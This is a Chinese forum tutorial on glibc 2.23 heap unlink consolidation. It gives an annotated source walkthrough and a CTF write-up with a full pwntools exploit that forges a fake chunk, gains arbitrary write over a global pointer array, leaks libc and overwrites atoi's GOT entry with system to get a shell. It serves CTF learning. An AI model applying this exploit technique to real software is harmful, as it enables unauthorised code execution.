nigacat 发表于 2020-5-6 21:45

glibc unlink触发机制解析(pwn unlink)

在pwn 的学习 其中unlink机制与原理是比较复杂的 需要配合glibc源码进行分析


关于unlink的原理,这里不用过多阐述 不懂的可以看一下ctfwiki的相关知识
下面给出一张图概过


现在我们重点分析 unlink的触发机制,即什么时候会发生unlink?
当需要合并相邻的freechunk时用到unlink
而合并堆块又分为向地地址合并和向高地址合并
在ctf glibc pwn中 我们一般利用的是向低地址合并的unlink
下面给出 glibc2.23中关于向低地址合并的源码

    if (!prev_inuse(p)) {//判断后一个堆块(低地址)是否free,free时进行下一步操作
      prevsize = p->prev_size;//读取p堆块的prev_size位
      size += prevsize;//size相加
      p = chunk_at_offset(p, -((long) prevsize));//p指向后一个堆块的地址,实现了合并
      unlink(av, p, bck, fwd);//unlink脱链操作
    }
图片表该示过程:



向高地址合并:
源码
    if (nextchunk != av->top) {//下一个堆块(高地址)是否为top chunk
      /* get and clear inuse bit */
      nextinuse = inuse_bit_at_offset(nextchunk, nextsize);//将下一个堆块的prev_inuse位置为0,因为即将free这个堆块的前一个堆块
      /* consolidate forward */
      if (!nextinuse) {//判断下一个堆块是否free,是则进行unlink
    unlink(av, nextchunk, bck, fwd);
    size += nextsize;//size相加,相当于扩大了堆块,实现了 free
      } else
    clear_inuse_bit_at_offset(nextchunk, 0);

接下来来看一个 unlink的ctf 实例

压缩文件给出了 elf和我写的exp
这是一个经典的unlink修改全局数组 实现任意地址写的题目

先分析一下 ,其中的change_item中存在堆溢出漏洞
malloc出的指针存放于 0x6020c0的全局数组中
这个题的思路大概就是 首先unlink 造成0x6020c0的全局数组任意地址写

然后 泄漏libc 最后修改elf.got['atoi']为system

再输入/bin/sh\x00造成getshell

def add(size,content):
    p.sendlineafter('choice:',str(2))
    p.sendlineafter('name:',str(size))
    p.sendlineafter('item:',content)

def show():
    p.sendlineafter('choice:',str(1))

def change(index,size,content):
    p.sendlineafter('choice:',str(3))
    p.sendlineafter('item:',str(index))
    p.sendlineafter('name:',str(size))
    p.sendlineafter('item:',content)

def delete(index):
    p.sendlineafter('choice:',str(4))
    p.sendlineafter('item:',str(index))

sleep(2)
add(0x20,'aaaa')#0
add(0x80,'bbbb')#1 实际分配size为0x90,保证期不为fastbin
add(0x80,'cccc')#2

此时的堆块情况如下

全局数组情况如下

我们利用unlink在全局数组写的思路是
由于全局数组的指针是指向chunk数据段的而不是chunk起始位置的

所以在chunk1的数据段伪造另一个chunk,chunk大小得与接下来的chunk2 的prev_size对应
然后设置伪造堆块的fd=ptr-0x18 bk=ptr-0x10(这么做的原因ctfwiki里面有)
通过溢出 修改chunk2 的prev_size 为0x80 size为0x90 pre_inuse为0
再free(chunk2)时便会前向合并触发unlink
pause()
fd=0x6020d8-0x18
bk=0x6020d8-0x10
payload1=p64(0)+p64(0x81)#fake_chunk
payload1+=p64(fd)+p64(bk)
payload1+=p64(0)*12
payload1+=p64(0x80)+p64(0x90)
change(1,0x90,payload1)
delete(2)#unlink
此时全局数组情况如下

可以发现我们现在已经可以通过change(1)实现任意地址读写了

pause()
change(1,0x20,'b'*8+p64(elf.got['atoi']))
show()
p.recvuntil(': ')
libc_base=u64(p.recv(6).ljust(8,'\x00'))-libc.sym['atoi']
print "libc_base:"+hex(libc_base)
change(0,0x20,p64(libc_base+libc.sym['system']))
p.recvuntil(':')
p.sendline('/bin/sh\x00')
p.interactive()
我们可以通过修改atoi的got 为system

然后输入/bin/sh\x00触发system('/bin/sh\x00')

深爱我的女孩 发表于 2020-5-6 22:01

看不懂,路过帮顶!

斩风 发表于 2020-5-7 20:09

看不太懂,路过顶下

17696091221 发表于 2020-5-7 23:26

感觉挺牛的,学习中

hkfox 发表于 2020-5-12 17:19

看不懂,路过帮顶

coder014 发表于 2020-5-17 09:34

楼主厉害了!

sklli 发表于 2020-5-21 11:52

看着就很牛牛牛

wwbtowwb 发表于 2020-8-23 19:18

我来学习啦谢谢
页: [1]
查看完整版本: glibc unlink触发机制解析(pwn unlink)